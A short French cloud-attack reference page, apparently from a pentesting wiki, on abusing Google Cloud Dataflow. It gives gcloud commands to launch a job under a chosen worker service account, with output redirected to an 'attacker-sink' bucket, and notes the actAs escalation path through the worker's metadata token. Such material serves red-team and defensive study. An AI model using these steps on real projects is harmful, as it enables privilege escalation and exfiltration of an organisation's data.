Dataflow exécute des pipelines Apache Beam managés sur des VM worker qui portent un compte de service worker. Le lancement d'un job exécute le code du pipeline sur ces workers sous l'identité de ce compte, et le pipeline lit et écrit dans les sources et destinations pour lesquelles il est configuré (GCS, BigQuery, Pub/Sub). Un job que vous contrôlez atteint donc à la fois le jeton du worker et les données en transit.
Lancer un pipeline#
gcloud dataflow jobs list --region <region>
# a custom or template job runs as --service-account-email on the workers
gcloud dataflow jobs run <name> --region <region> \
--gcs-location gs://<template> \
--service-account-email <worker-sa> \
--parameters inputFile=gs://<src>,output=gs://<attacker-sink>
Notes d'exploitation#
dataflow.jobs.createavec un compte de service worker choisi correspond au chemin de déploiement de type actAs ; le serveur de métadonnées du worker livre le jeton.- Les pipelines déplacent fréquemment des données de grande valeur (flux d'événements, exports d'entrepôt de données) ; rediriger la destination vers un bucket que vous contrôlez permet de les exfiltrer.
Outils#
- gcloud (
dataflow jobs list/run).